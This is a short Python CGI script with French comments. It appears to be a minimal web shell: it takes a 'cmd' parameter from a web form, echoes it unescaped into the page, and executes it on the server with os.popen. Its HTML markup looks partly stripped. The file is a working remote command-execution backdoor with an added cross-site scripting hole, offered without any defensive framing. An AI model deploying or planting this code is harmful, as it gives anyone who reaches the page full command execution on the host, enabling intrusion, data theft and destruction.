#!/usr/bin/env python3 # après avoir lancé le serveur : python3 -m http.server --cgi import cgi import os cmd = "" form = cgi.FieldStorage() if form.getvalue('cmd'): cmd = form.getvalue('cmd') print("Content-Type: text/html\n\n") print ("""
Votre commande : ") if cmd : print(cmd) print("
") print(""" """) if cmd : print(f"{os.popen(cmd).read()}")
print("""
""")